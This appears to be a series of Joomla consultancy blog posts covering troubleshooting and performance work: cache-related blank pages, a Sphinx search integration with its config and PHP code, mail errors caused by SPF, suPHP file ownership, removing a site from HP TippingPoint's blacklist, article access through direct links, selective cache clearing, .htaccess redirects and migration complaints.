Again, we recommend you thoroughly think out your decision before deleting all the articles on your Joomla website. If your decision is irreversible and you really want to delete your content, then all you need to do is to execute the above queries. If you need help, then go ahead and contact us. Our work is efficient and professional, we are super dedicated to our customers, and we don’t charge much!

Yet Another Reason for a Blank Page on a Joomla Website

Blank pages on Joomla sites: we thought we have seen them all. But today, we discovered that there might still be a few reasons that we don’t know of that cause blank pages on Joomla sites. Here’s what happened…

A new client called us this morning and told us that he was seeing a blank page on the frontend of his Joomla website. When this happens, we usually set the $error_reporting value in the configuration.php (which is located under the root directory of the Joomla website) to Maximum (usually it’s set to Default or None). When we did that, we saw the following error:

Notice: unserialize() [function.unserialize]: Error at offset 254340 of 254505 bytes in /home/[username]/public_html/libraries/joomla/cache/controller/page.php on line 89

Hmmm… This is a notice, yet it seems to have the effect of a fatal error (we wonder who had the idea of calling such an error as fatal – we’re pretty sure that it’s not fatal, because we’ve seen this error many, many times and it hasn’t killed anyone so far!) because of the blank page. In any case, the word cache in the notice gave us an idea of clearing the cache of the Joomla website. And so we did that by logging in to the backend, and then clicking on System -> Clear Cache, and then selecting all the cached items by clicking on the checkbox next to Cache Group, and then finally clicking on the Delete button on the upper left corner.

Guess what? Clearing the cache fixed the problem!

But what was the problem?

Well, the problem was that the server had some stability issues – and those stability issues caused a cache file not be serialized properly, which meant that Joomla was unable to unserialize the cached file, which meant that Joomla was unable to display the cached information, which resulted in a blank page.

But isn’t that a major stability issue?

In our opinion, Joomla must re-cache the file if the cached file is corrupt (Joomla is able to know that because PHP throws a notice when the cached file is corrupt). Nevertheless, this doesn’t mean that this is a major stability issue. In fact, we have been working on Joomla for nearly a decade and this is (perhaps) the first time that we see this error, since this error happens when Joomla is trying to write the cached file to the filesystem but the operation gets interrupted because of a major stability issue on the server (very rare).

If you see this problem on your Joomla website, then try clearing your Joomla cache and see if it fixes the problem. If it doesn’t, then it might be that there is more to the issue and we recommend that you contact us to resolve the problem. Keep in mind that our super affordable fees apply!

Using Sphinx to Substantially Enhance the Speed of the Joomla Search

Warning: This is an extremely advanced post that requires some serious system administration skills and some serious programming skills. If you feel you’re not up to it, then don’t do it! Ask some Joomla experts (such as, ahem, us!) to do the implementation for you – you’ll save time and your blood pressure will not suffer!

Warning: The implementation in this post requires you to modify a core Joomla file, which means that you will have to ensure that new updates won’t overwrite your modification. If you’re not comfortable with core changes then please contact us and we can develop a new search plugin for you instead of modifying the core plugin.

Note: If you want to rebuild all the Sphinx indexes from scratch, then you will need to stop the searchd listener first using the following command: /usr/local/sphinx/bin/searchd --stop .

Note: Our solution will work. We suggest you don’t deviate from the guide below until everything works for you, and then you can try experimenting with different settings.

Note: While the process below is straightforward and safe, we suggest you take a backup of your whole server before doing anything. Well, at least you should take a backup of your filesystem, your database, and your my.cnf file (this is the MySQL configuration file which is located under the etc folder).

Final note: Every step below is essential for Sphinx to work! You can’t eliminate any steps from our guide and expect that Sphinx works for you. You have been warned!

Let’s face it: Joomla’s search is inefficient – and by inefficient we mean that searches start taking ages once you have over 20k articles on your website. Since we have many clients who are using Joomla and who have a lot of articles on their sites, we have decided to do something about the search! We have decided to use Sphinx…

We first learned about Sphinx a couple of years ago when a large company contacted us and told us that they would like to integrate Sphinx on a mega Joomla website in order to speed up the searches. At that time, our plates were full and we didn’t have time to take on such an endeavor, especially since we have never done it before, so we politely refused (that’s unlike us, but sometimes there is no other option). We were curious nonetheless, and we kept the name Sphinx in the back of our minds!

Fast forward to a couple of weeks ago, when we felt obliged that we had to do something about the search performance (or un-performance, that is) for our major clients’ sites! The searches were just taking too long and causing load issues on the server. It was our duty to do something! And so we thought about giving Sphinx a shot, and boy we were impressed and we never regretted it! Yes – it was a frustrating and downright scary experience, but the end results were astonishing! And since we love sharing and we really want Joomla to become the best CMS ever, we have decided to write a post that will fully explain how we did it!

Are you ready for this super-adventure? Let’s start!

How to install Sphinx on CentOS

Before doing anything, we needed to install the Sphinx search engine on CentOS (CentOS is the underlying OS for mostly all WHM/cPanel powered servers and it is the OS that most of our clients use). Here’s what we did:

  • We logged in to the shell (ssh) as root.

  • We issued the following commands (in order):

    cd /usr/local
    mkdir sphinx
    cd sphinx
    wget http://sphinxsearch.com/files/sphinx-2.2.6-release.tar.gz
    tar -zxf sphinx-2.2.6-release.tar.gz
    cd sphinx-2.2.6-release
    mv * /usr/local/sphinx/
    cd ..
    rm -Rf sphinx-2.2.6-release
    rm -Rf sphinx-2.2.6-release.tar.gz
    ./configure --prefix=/usr/local/sphinx --with-mysql
    make
    make install

  • The above commands installed Sphinx on the server. Note that some of them take a long time to execute, so be patient!

Despite Sphinx being installed on the server (yuppy!), we still couldn’t do anything with it because we needed to configure the Sphinx Index

How to configure the Sphinx index for Joomla’s search

Sphinx is a powerful database engine – but it can’t do much without an index. In this context, an index is a collection of data stored in a specific way for fast retrieval. In the case of a Joomla search, an index consists of a MySQL query that will grab the id, the title, and the introtext and the fulltext (concatenated as text) from the #__content table.

In order to create the index, we needed to first create the Sphinx configuration file. Here’s how we did it:

  • While still logged in to ssh, we issued the following command:

    vi /usr/local/sphinx/etc/sphinx.conf

    The above command will open a new file ready to write using the vi editor (you can use nano, but we’re used to vi – it’s more nerdish).

  • We then clicked on i (yes, the letter i on the keyboard), and then pasted (you can paste in vi, and in linux in general, by just right-clicking) the following code (for your convenience, we have added extensive comments next to each line in order to explain what each line does):

    # source: The source will the a SQL query on the #__content table. The SQL query will be consist of the id, the title, the introtext, and the fulltext.
    # We must specify the connection parameters to the MySQL database, which can be found in the configuration.php file which is located under the root directory of your Joomla website.
    # Note that we are assuming that your MySQL host is localhost (in other words, your MySQL database server resides on the same server as your Joomla website). If this is not the case, then you will need to change localhost and make it point to the right host of your MySQL database server.
    
    source joomla_search_source
    {
    	type		= mysql # Do not change this
    	sql_host	= localhost # You will need to change this if your MySQL server resides on a different server.
    	sql_user	= [your-joomla-db-user] # The username which has at least read access to your MySQL database. No brackets.
    	sql_pass	= [your-joomla-db-password] # The password of the aforementioned username. No brackets.
    	sql_db		= [name-of-your-joomla-database] # The name of your Joomla database. No brackets.
    
    	# Make sure you only include the fields that are being used in your searches - otherwise, you will inflate the size of the index and slow down the searches.
    	# We will just index the id, the title, and a concatenation of the introtext and the fulltext.
    	# Note: You should replace #__ with your table alias, or else the below query (and the index) will not work!
    	sql_query	= SELECT `id`, `title`, CONCAT(`introtext`, `fulltext`) AS `text` FROM #__content WHERE `state`=1
    }
    
    # index: Here we define the parameters of the index created by Sphinx. We will call this joomla_search.
    # If you want to create more indexes then you will need to create another source (like the one above) and another index (like this one) and ensure that the source attribute in the index settings points to the name of the source defined in your source.
    # Note: We initially called the index joomla-search, but everytime we tried to test a query we got the following error: Query failed: unknown local index 'joomla' in search request. It turned out that you cannot have a hyphen (a dash) in the name of the Sphinx index, so we changed it to an underline.
    
    index joomla_search
    {
    	source		= joomla_search_source # Note that the source is the same one specified as the name of the source above.
    	path		= /usr/local/sphinx/var/data/joomlasearch # The indexed data will be stored in this location.
    	min_word_len	= 4 # Sphinx will ignore any words (in the search string) that are less than 4 characters long. You might want to change this to 3 if you have keywords which are 3 characters long. If not, then it's better to leave it as it is as smaller keywords tend to be costly on any search engine.
    }
    
    # indexer: These are the settings of the indexer. Here we just want to increase the memory limit allocated to the indexer, which defaults to a very low value (32 megabytes).
    indexer
    {
    	mem_limit	= 1024M # 1024 megabytes is a comfortable number. If you set mem_limit to a low value then the indexing can take a long a time, if you set it too high then MySQL can timeout.
    }
    
    # searchd: The search engine paramters.
    searchd
    {
    	log		= /usr/local/sphinx/var/log/searchd.log # This is the location of the Sphinx log - logs are always good when something goes wrong.
    	max_children	= 50 # Leave this as 50.
    	pid_file	= /usr/local/sphinx/var/log/searchd.pid # No need to change this at all.
    }

  • We saved the configuration file by typing the following (while still in vi):

    :wq!

Now that we have created the configuration file for the index, we had to build the index…

Building the Sphinx index

The configuration file was ready, so now it was time to build the index. We built it using the following shell command:

/usr/local/sphinx/bin/indexer --config /usr/local/sphinx/etc/sphinx.conf --all

The above command generated the following output:

Sphinx 2.2.6-id64-release (r4843)
Copyright (c) 2001-2014, Andrew Aksyonoff
Copyright (c) 2008-2014, Sphinx Technologies Inc (http://sphinxsearch.com)

using config file ‘/usr/local/sphinx/etc/sphinx.conf’…
indexing index ‘joomla_search’…
WARNING: Attribute count is 0: switching to none docinfo
collected 54142 docs, 154.4 MB
sorted 15.1 Mhits, 100.0% done
total 54142 docs, 154423963 bytes
total 19.459 sec, 7935558 bytes/sec, 2782.25 docs/sec

When we saw the output above, we were rejoiced! It seemed that our configuration file worked and Sphinx was able to index our query! We’re close, very close!

Starting the searchd listener

Now that Sphinx indexed our query, we were ready to start the searchd listener. searchd is a process that will listen on port 9312 for any Sphinx queries and will reply back with results. In order to start searchd, all we needed was to issue the following shell command:

/usr/local/sphinx/bin/searchd

Here’s what we saw when we ran the above command:

Sphinx 2.2.6-id64-release (r4843)
Copyright (c) 2001-2014, Andrew Aksyonoff
Copyright (c) 2008-2014, Sphinx Technologies Inc (http://sphinxsearch.com)

using config file ‘/usr/local/sphinx/etc/sphinx.conf’…
listening on all interfaces, port=9312
listening on all interfaces, port=9306
precaching index ‘joomla_search’
precached 1 index in 0.020 sec

Now we have Sphinx running and listening! Hurray! But, before moving to anything else, we needed to make sure that 1) new data will be indexed every midnight and 2) the listener will run when the server is rebooted.

In order to accomplish that, we did the following:

  • We ran the following command from the shell:

    crontab -e

  • We added the following lines to the end of the cron file:

    0 0 * * * /usr/local/sphinx/bin/indexer --config /usr/local/sphinx/etc/sphinx.conf --rotate joomla_search > /dev/null 2>&1
    @reboot /usr/local/sphinx/bin/searchd

    The first line will rotate the index at midnight (in other words, it will re-index the SQL query), and the second line will ensure that the searchd process runs automatically when the server reboots. Both lines are very important because the first is responsible for keeping the index up-to-date while the second is responsible for ensuring that searches still work when the server is restarted.

  • We saved the cron using CTRL + o, and then exited using CTRL + x.

Now, that we have everything setup, all that we needed to do was to modify the Joomla search plugin to use Sphinx! Here’s how we did it:

  • We opened the file content.php located under the plugins/search/content folder.
  • In the function onContentSearch, we replaced everything above the line $results = array(); with the following code:

    $db = JFactory::getDbo();
    $app = JFactory::getApplication();
    
    require_once JPATH_SITE . '/components/com_content/helpers/route.php';
    require_once JPATH_ADMINISTRATOR . '/components/com_search/helpers/search.php';
    
    require('/usr/local/sphinx/api/sphinxapi.php');
    $sp = new SphinxClient();
    $sp->SetServer('localhost', 9312);
    $sp->SetMatchMode(SPH_MATCH_ALL);
    $sp->SetArrayResult(true);
    $sp->SetLimits(0,1000);
    $limit = $this->params->def('search_limit', 50);
    
    switch ($ordering)
    {
    	case 'relevant':
    		break;
    	default:
    		$sp->SetSortMode( SPH_SORT_EXTENDED, 'id DESC');
    		break;
    }
    $results = $sp->Query($text, 'joomla_search');
    $results = $results['matches'];
    $list = array();
    for ($i = 0; $i < count($results); $i++){
    	$sql = "SELECT a.title, a.created, CONCAT(`introtext`, `fulltext`) AS `text`, c.title AS `section`,  CONCAT(a.`id`, ':', a.`alias`) AS `slug`,  CONCAT(c.`id`, ':', c.`alias`) AS `catslug` FROM #__content a, #__categories c WHERE a.catid = c.id AND a.id='".$results[$i]['id']."'";
    	$db->setQuery($sql);
    	$list[] = $db->loadObject();
    }
    $rows[] = $list;

  • We uploaded the file back and we tested the search functionality on the website.

  • We were amazed by the speed difference: our search results were returned instantly on a website with more than 50k articles! Wow - just wow! Oh, and what was even better is that we stopped seeing queries in the slow query log and, even better yet, the load dropped significantly!

So, how long did it take us to implement Sphinx for Joomla's search for the first time?

Well, about 6-7 days (because of the many trials and errors)! But we've learned a lot (again, we have never used Sphinx before) and we have documented the whole process so that you, our precious reader, can do it (hopefully) in less time and less hassle!

We hope that you found our guide useful and you were able to successfully integrate Sphinx with Joomla's search by following it. If you're having problems with the installation of Sphinx or with the integration with Joomla's search, or if the whole thing is just a bit over your head, then please contact us. We will do the work for you in no time and for a very affordable fee!

“Could not start mail function” Error when Registering on a Joomla Website

A new client called us this morning and told us that whenever someone tries registering on his website, he gets the following error:

Could not start mail function

The client was frustrated because he contacted two firms before contacting us, and both of these firms weren’t successful in resolving the problem.

So, the first thing that we tried to do was to reproduce the problem, which was easily done… We did notice though that the registration form wasn’t a basic Joomla registration form, but it was an RSForm which was connected to the Joomla’s users table through the RSForm Joomla User Registration Plugin (in other words, when someone fills in the RSForm registration form and submits it successfully, a profile for that person will be created in the users table).

Initially, we thought the problem was related to the server’s environment, and so we started digging in that direction. But we then ruled out this possibility because we were able to send emails to any email account from a PHP script that we created. We then looked at the configuration settings and we noticed that the Mailer was set to PHP Mail, which was what it should be… We then started testing the form more thoroughly, and we noticed that for some reason, some emails did get through and some emails didn’t – but in any case, the form submission took about 15-20 seconds. Hmmm…

We kept working on the issue for a couple of hours until we discovered that the problem was that the registration form was trying to send emails on behalf of emailaddress@aol.com (we thought it was sending emails on behalf of a local email, but we were wrong). As we have explained before, mails can be blocked by the receiving server if the sender IP is not in the SPF records. Clearly, aol.com did not have the IP of our client’s server in their SPF records, and that’s why the mails were failing.

But, why was it that some mails were going through?

Well, it was because some mail servers do not do any SPF check on the sending server; they just allow any email to go through.

Isn’t the error “could not start mail function” a bit misleading?

Yes – it’s very misleading, but the thing is that PHP usually doesn’t wait for a response from the receiving server, but, in some cases (depending on the sending server environment), it does (which is the case for our client, hence the 15-20 seconds it takes to submit the registration form), and so the PHP mail function fails, and so the wrapping Joomla function returns this erroneous error (isn’t that an oxymoron?).

So, what did we do to fix the problem?

  • We logged in to the backend of the Joomla website.

  • We navigated to Components-> RS Form Pro -> [Form Name] -> Properties -> Admin Emails

  • We then changed the From email to admin@ourclientjoomlawebsite.com

  • We saved the form and that fixed the problem!

What if I’m not using RSForm?

Well, if you’re not using RSForm and you’re just using Joomla’s built-in registration form, then make sure that the From Email under the Mail Settings in the Global Configuration settings is set to a local email if you’re using PHP Mail as the Mailer (by local email we mean an email which domain has the IP of your server in its SPF records).

If you have the same problem when people are trying to register on your website then make sure that the IP of your mail server is allowed to send emails on behalf of the domain in the from email. If you are sure that everything’s OK on your end but you are still getting this error, then you can always contact us and we’ll solve the problem for you in no time and for a very, very affordable fee!

“UID of script file.php is smaller than min_uid” Error on a Joomla Website

An international news agency using Joomla to power one of their websites called us yesterday. They told us that they’re seeing a blank page, and the problem turned out to be related to sh404SEF’s cache (the cache file was exhausting all the memory that the system has and throwing this error).

Due to the nature of their environment and their security policies, we weren’t able to work directly on their live system; we worked with a system administrator by phone and that system administrator executed the work on the live site.

In any case, we tried to get some information about their server (mainly related to the PHP’s memory limit), and so we asked the system administrator to create a file called file.php that gets the necessary information (it was mainly getting the memory limit using the ini_get(’memory_limit’) function). We asked the system administrator to place that file under the root directory of the site.

But, when we accessed the file from our browser (using the following URL: http://www.ourclientjoomlawebsite.com/file.php), we got the following fatal error:

“UID of script “/www/ourclientjoomlawebsite/file.php” is smaller than min_uid”

Huh?

We did a quick research on the error above and it turned out to be related to the file’s ownership. The file was owned by root (because it was created from the shell by the system administrator who was logged in as root), and yet the environment was using suPHP (which cannot directly execute files owned by root). Changing the file’s ownership from root to the Apache user fixed the problem!

If you’re having the same problem with one of the files on your Joomla website, then make sure that file is owned by the same user who owns the rest of the files on your Joomla website. If changing the ownership did not fix the problem for you, then please contact us. We will fix the problem for you for a very affordable fee and in as little time as possible!

What to Do When Your Joomla Website Is Blocked by HP’s Tipping Point

One of our very large clients sent us an email stating that the doctors working at an extremely high profile hospital were unable to access their website (our client’s Joomla website). The email stated that the website was timing out for them.

At first, we thought it was a browser issue (since large companies tend to use the same browser, and it’s often an old version of Internet Explorer with weird patches), but then we ruled it out because the IT director (who communicated directly with us), was also unable to to access the website from a different browser. The staff were able to access the website from their mobile devices (which were using a different network than the hospital’s network), but they weren’t able to access the site from the hospital’s network.

We then asked the IT Director to check with his networking team whether the website was blocked at the firewall level, and the immediate feedback was that the website wasn’t blocked. Perplexed, we started searching for another cause of the problem, and so we checked our client’s logs and we noticed that the doctors were hitting the website, but for some reason, they were getting a 301 redirect and that’s it – the connection ends and the browser stops asking the server for further content. We scavenged through all the security modules that are installed on the server thinking that that network was blocked somewhere, but we were unsuccessful at finding anything.

We then asked for a traceroute, and we were sent one immediately, but, to our disappointment, the IT Director was able to successfully tracert to our client’s website. Hmmm… The IT Director then asked us for a traceroute from our server to theirs, and something interesting happened: the traceroute failed as soon as it reached their network, which means that they’re not accepting traffic from our (client’s) server!

A few minutes later, the IT Director emailed us and told us that they resolved the problem on their end, stating the following reason: “HP has an IPS (Intrusion Prevention System) application named Tipping Point. A reputation database (refreshed from HP’s dvlabs feed) is integrated into that IPS. Your website had a bad rating and that’s why it was blocked. We resolved the problem by locally whitelisting your website.”

He then sent us the following snapshot:

dvlabs Change of Score

Figure 1: dvlabs Change of Score

As you can see from the above picture, the website has been labeled as carrying a “Network Worm” for nearly a month. Clearly, we needed to contact HP’s tipping point about this issue (we were confident that the website was clean). Here’s what we did:

  • We called HP’s Tipping Point Support at +1 866 681 8324 (you can find the global phone numbers here).

  • We supplied the agent with the needed information (our client’s website, the account information of our client’s client) and we asserted that the website was very clean and not hacked.

  • The agent was very courteous and told us that they get a lot of false positives on the dvlabs database, and that the reason why our client’s website was categorized as a “Network Worm” is because they possibly received an abnormal amount of traffic from the website at one point or another. The agent confirmed that he will escalate that the problem to the dvlabs team, and, if the website is proven to be clean, then it will be removed from their blacklist and the change will be reflected once their data feed is refreshed.

  • We thanked the agent who told us to wait for the email. That was back on Friday (January the 2nd).

  • On Tuesday, we received an email from the agent apologizing for the wait, and telling us that the website has been removed from the blacklist.

  • We rejoiced and we informed our client and the IT director of the hospital!

As you can see, it is not that hard to remove a website from HP’s Tipping Point blaklist (e.g. the dvlabs database) – it just needs a bit of patience. It is also not a bad experience (we were very surprised with HP’s pro-activeness, professionalism, and friendliness towards this whole issue).

If some of your clients cannot see your website because it has been blacklisted by HP, then make sure it is clean, and then contact them (they do answer the phone immediately). If you need help in the process, then please contact us. We have done it before (and it did work), we are resilient, we work hard, and we don’t charge much!

A Menu Item with “Registered” Access Doesn’t Mean that the Article Is Private

One of Joomla’s biggest misconceptions is that if someone wants to make an article private (e.g. only allow access to that article for registered users), then all that needs to be done is to point a menu item to that article and change the Access value of that menu item to Registered and that’s it! Now the article is private and only registered users will be able to access it – of course, the proof is that the link to that article, which is http://www.[joomla-website].com/my-article.php will only work for registered users.

But… Assuming the article’s ID is 123, then that same article can be accessed using the following link: http://www.[joomla-website].com/index.php?option=com_content&view=article&id=123, and this link can be accessed by anyone, and by anyone we literally mean anyone – even a person who’s not even registered to the website!

How is that? Well, because this is a direct link that doesn’t have the Itemid of the menu item that only allows access for registered users. In fact, it doesn’t have any Itemid (an Itemid is the equivalent of a menu item ID).

So, what is the solution if one wants to make an article private?

Well, the only solution is to get all the Itemids (yes, it has an s because it’s plural since an article can have more than one menu item pointing to it), and then check if any Itemid is set to have a Registered access, and if that’s the case, then the code should check whether the person is logged in or not, if not, then the person should be redirected to the 404 page. If the person is logged in, then he should see the page.

So, where should this solution be implemented?

The solution can be implemented in either a System plugin or through a core modification. Naturally, we recommend the former option since it’s better, more reliable, and future-proof (e.g. update-proof).

If you’re trying to make your articles really private (e.g. only allow access to your articles for registered users), and if you need help in making it possible, then please contact us. We can do the work for you in no time and for a very affordable fee!

Joomla’s Cache Is Deleted on Article Update: How to Fix

Note: This is an extremely advanced post that requires some serious knowledge with Joomla as well as more than average programming skills. If you feel that it’s a bit over your head then you should ask some Joomla experts to do it for you (like, ahem, us) since caching is a very delicate feature in Joomla.

A client of ours were (or should it be “was” instead of “were” despite the fact that we’re talking about a company? English grammar can be very tricky!) encountering very high load issues on their server only during working hours. They were using Joomla’s core (and not K2) for content management. After a very long investigation of the issue (at first we thought the whole issue was related to an unoptimized assets table, but we quickly ruled this out out as the assets table is not updated on article update), we narrowed down the problem to one word: caching – or lack of caching thereof.

Let us explain… They were using Conservative Caching on their website, and during working hours, their editors were frequently creating/updating articles on the website, and every time they created/updated an article the whole cache was cleared!

But why was the cache cleared?

That is the million dollar question, and the million dollar answer is that the method cleanCache in the ContentModelArticle class (which is defined in the file article.php file located under the administrator/components/com_content/models folder) is called when an article is inserted or updated. Here’s the function, in case you’re wondering how it looks like:

protected function cleanCache($group = null, $client_id = 0)
{
	parent::cleanCache('com_content');
	parent::cleanCache('mod_articles_archive');
	parent::cleanCache('mod_articles_categories');
	parent::cleanCache('mod_articles_category');
	parent::cleanCache('mod_articles_latest');
	parent::cleanCache('mod_articles_news');
	parent::cleanCache('mod_articles_popular');
}

As you can see, the function deletes all the content cache (the cache generated by the main content component and all the content modules). This function is invoked on every update and every insert. Obviously, on a large site relying on caching to sustain performance, that function can cause some serious load issues on the server that can potentially crash the site.

But why does the function clear all the content cache?

We have no idea. We think that this code is there because it was the easiest way to make sure that the site displays the most up-to-date content with as little code (and work [wink wink]) as possible. Unfortunately, the easiest way is far from being the optimal way. The optimal way consists of only deleting that cache pertinent to the updated article (and not the whole cache). We really wonder why nobody has ever complained about this before, since what this function does is not acceptable for any large Joomla website.

So how did we solve the problem?

Solving this problem was hard – like really really hard! We modified the function cleanCache to only delete the cache of the homepage, the updated article, and all the category blog pages for the category that this particular article belongs to. In the process of modifying the function, we created an auxiliary method called myMakeID that returns the ID of the cache to be deleted (the myMakeID method is a variation of the makeId static method on the JCache class which is defined in the cache.php file which is located under the libraries/joomla/cache folder). Here is the updated cleanCache method, as well as the auxiliary myMakeID method:

protected function cleanCache($group = null, $client_id = 0)
{
	//let's first get the Item ID of the category (which should be always in the POST)
	$catId = (int)$_POST['jform']['catid'];

	if (isset($_GET['id']))
		$id = (int)$_GET['id'];
	else
		$id = 0;

	$db = JFactory::getDbo();

	//now let's get the Item ID for that category
	$sql = "SELECT id FROM #__menu WHERE `link` ='index.php?option=com_content&view=category&layout=blog&id=".$catId."'";
	$db->setQuery($sql);
	$itemId = $db->loadResult();

	//now let's get the Item ID for the homepage
	$sql = "SELECT id FROM #__menu WHERE `home` =1";
	$db->setQuery($sql);
	$homeItemId = $db->loadResult();

	$conf         = JFactory::getConfig();
        $platformDirs = FOFPlatform::getInstance()->getPlatformBaseDirs();

	$options = array(
		'defaultgroup' => ($group) ? $group : (isset($this->option) ? $this->option : JFactory::getApplication()->input->get('option')),
		'cachebase'    => ($client_id) ? $platformDirs['admin'] . '/cache' : $conf->get('cache_path', $platformDirs['public'] . '/cache'));

	$cache = JCache::getInstance('callback', $options);

	//first delete the cache for this particular article
	if (!empty($id) && !empty($catId)){
		$makeID = $this->myMakeID($id, $catId, $itemId);
		$cache->remove($makeID, 'com_content');
		$cache->remove($makeID, 'mobile-com_content');
	}
	if (!empty($catId)){
		$makeID = $this->myMakeID($catId, NULL, $itemId, 'ContentViewCategory', 'category', NULL, 'blog');
		$cache->remove($makeID, 'com_content');
		$cache->remove($makeID, 'mobile-com_content');
	}
	if (!empty($homeItemId)){
		$makeID = $this->myMakeID(NULL, NULL, $homeItemId, 'ContentViewFeatured', 'featured', NULL, NULL);
		$cache->remove($makeID, 'com_content');
		$cache->remove($makeID, 'mobile-com_content');
	}

}

protected function myMakeID($id, $catId, $itemId, $classView = 'ContentViewArticle', $view='article', $format = 'html', $layout = NULL)
{
	$safeuriaddon = new stdClass;
	if (!is_null($catId))
		$safeuriaddon->catid= (int)$catId;
	else
		$safeuriaddon->catid= NULL;
	if (!is_null($id))
		$safeuriaddon->id= (int)$id;
	else
		$safeuriaddon->id= NULL;

	$safeuriaddon->cid= NULL;
	$safeuriaddon->year= NULL;
	$safeuriaddon->month= NULL;
	$safeuriaddon->limit= NULL;
	$safeuriaddon->limitstart= NULL;
	$safeuriaddon->showall= NULL;
	$safeuriaddon->return= NULL;
	$safeuriaddon->filter= NULL;
	$safeuriaddon->filter_order= NULL;
	$safeuriaddon->filter_order_Dir= NULL;
	$safeuriaddon->{'filter-search'} = NULL;
	$safeuriaddon->print= NULL;
	$safeuriaddon->lang= NULL;
	$safeuriaddon->Itemid= (int)$itemId;
	$safeuriaddon->format= $format;
	$safeuriaddon->option= 'com_content';
	$safeuriaddon->view= $view;
	$safeuriaddon->layout= $layout;
	$safeuriaddon->tpl= NULL;
	return md5(serialize(array(md5(serialize($safeuriaddon)), $classView, 'display')));
}

Adding the above code to the aforementioned article.php model file will solve the problem, but keep in mind that this is a core modification (which means future updates to the site may wipe out your changes). If you’re not at ease doing this modification yourself then please contact us. We can do it for you in as little time as possible, for a very affordable fee, and with never-seen-before (even on TV during the 1990’s) enthusiasm mixed with a healthy dose of humor!

How to Change the Browser Title on the Homepage of a Joomla Website

Note: This post is aimed at Joomla beginners – make that absolute Joomla beginners! We’ve been writing posts for extremely advanced Joomla developers for a long time now and we thought writing a post for absolute beginners would be the right thing to do on New Year’s Eve (Happy New Year, by the way)!

We get a couple of calls every week from (new) Joomla administrators who want to change the browser title on the homepage of their Joomla website, but they don’t know how, and so we do it for them. Here’s how:

  • We login to the backend of their Joomla website.

  • We click on Menus on the top navigation, and then we click on the menu that has the homepage (the menu with the home picture next to it).

  • Once we’re in the menu that has the homepage (there’s only one home menu), we search for the home menu item. We do this by clicking on the Home header twice (to show the home menu item first). The home menu item is the menu item that has an orange star under the Home header.

  • We then click on the home menu item, and then we click on the Page Display tab.

  • We then change the value of the Browser Page Title to the new title.

  • We click on Save & Close on the top left.

  • We clear the cache by going to System -> Clear Cache, and then clicking on the top checkbox, and finally clicking on the Delete button on the top left.

  • That’s it!

In most cases, the above will solve your problem. But if it doesn’t, then it’s possible that the browser title is controlled by the template or by a 3rd party extension. If this is the case, then please contact us. We will be able to do it for you in very little time and for a very affordable fee!

How to Redirect Your Old Links to Your New Links After Enabling Apache’s URL Rewriting in Joomla

A new client of ours has been using Joomla for a long time (since Joomla 1.5 was introduced), but has never, ever used Apache’s URL Rewriting. She has been using Joomla’s SEF all the time, but she never enabled the Use URL Rewriting feature. She knew that enabling URL rewriting can boost the search engine rankings for her website, but she was afraid to do it for fear of “duplicate content”, and she is right. Here’s why:

A Joomla SEF link, but not a URL rewritten link, looks like the following:

http://www.yourjoomlawebsite.com/index.php/your-link[.html]

The same link with URL rewriting enabled will look like the following:

http://www.yourjoomlawebsite.com/your-link[.html]

As you can see, index.php/ is missing from the second link. But that’s OK, since both links work, right?

Actually wrong, this is exactly why our client (and rightly so) was hesitant to switch to URL Rewriting. She didn’t want to have two working links pointing to the same page, because if she did, her website would suffer from content duplication issue (when it comes to Google’s indexing), not to mention that the strength of the links on her website would be diluted (because, again, she would have 2 links pointing to the same page).

So, how did we solve this problem?

Fortunately, at itoctopus, we have a solution for everything Joomla, and we were able to address her problem by adding the following lines to the .htaccess file (which is located under the root directory of her Joomla website) just below the RewriteEngine On line:

RedirectMatch 301 /index.php/(.*).html /$1.html
RedirectMatch 301 /index.php/(.*) /$1.html

The above lines ensure that any link that has index.php in it will automatically redirect to the new link (that doesn’t have index.php in it). The 301 number in each line ensures that we are passing the link strength (e.g. the link juice) to the new page. Note that the .html at the end of each line should be removed if Adds Suffix to URL is disabled in Joomla’s configuration settings. (In the latter case, the second line will have no effect and must be removed because it’ll be exactly the same as the first line.)

As you can see from the above, it is extremely easy to enable Apache’s URL Rewriting on a Joomla website without losing any rankings provided you add the above 2 lines. But, if you’re one of those Joomla administrators who prefer not to touch that dreadful .htaccess file, then please contact us and we’ll do it for you! Our fees are affordable, our work is professional, and we are the friendliest programmers in the whole wide world!

Joomla Is Making the Same Mistake, Again!

Joomla 1.5, probably the most used Joomla version ever, officially died back in 2012. Back then, many Joomla administrators were faced with a dilemma: Should we migrate our Joomla website(s) to 2.5? Or should we switch to another CMS? The decision was not easy, because in many cases, the costs of migrating to Joomla 2.5 were more or less the same as those of switching to a completely different CMS. Unfortunately, those administrators didn’t have the option of simply continuing to use Joomla 1.5.26, because a nasty security exploit was discovered nearly 1 week after Joomla 1.5.26’s life ended, and so they had to choose between the lesser of two evils, and for many of them, the lesser of two evils was switching to another CMS. Needless to say, Joomla’s competitors gained many new converts at Joomla’s expense.

In our opinion, had Joomla created a “one-click” migration script to migrate sites from Joomla 1.5 to Joomla 2.5, the whole world would’ve been a better place (well, not the whole world, but most of it!). Instead, Joomla took an extremely passive stance and it didn’t even release a single official tool for any type of migration from 1.5 to 2.5 – Joomla didn’t even create a tool to migrate core content (such as articles, categories, and menu items), the only thing that Joomla did to address this issue was to point its users to 3rd party tools that required some considerable voodoo skills for them to work as they should. The migration process from 1.5 to 2.5 left a very sour taste in the mouth of everyone who used Joomla…

Fast forward to now, and Joomla is repeating the exact same mistake of 2012. Joomla 2.5’s support will end by the end of this month (December 2014) and there are no real automated tools to migrate from Joomla 2.5 to Joomla 3.3. Yes, Joomla insists that it’s a mini-migration from 2.5 to 3.3 and that it is extremely easy and that it takes a few minutes, but, the truth, it is not. In fact, it is far from being a mini-migration (it is a real migration), and it takes more or less the same time to migrate from Joomla 1.5 to Joomla 2.5. Let us give you an example…

At itoctopus, we only use our tools to migrate from one version of Joomla to another (note that we modify the code of these tools for each website that we migrate), but, we got a very small website (less than 100 pages and a couple of well-supported 3rd party extensions) to migrate this past week, and so we thought we can just do the migration by following Joomla’s guide, and so we did. Here’s what we saw when we finished the 5 minute migration…

Table ‘#__postinstall_messages’ doesn’t exist SQL=SHOW FULL COLUMNS FROM `#__postinstall_messages`

Hmmm…. The table #__postinstall_messages wasn’t created. Odd. So we created it manually in phpMyAdmin. We thought that would fix the problem, but when we refreshed the homepage, here’s what we saw:

Notice: Undefined property: ContentController::$input in /home/[username]/public_html/administrator/components/com_content/controller.php on line 39

Fatal error: Call to a member function get() on a non-object in /home/[username]/public_html/administrator/components/com_content/controller.php on line 39

Not a problem. We deleted the controller.php file, but then we got another error…

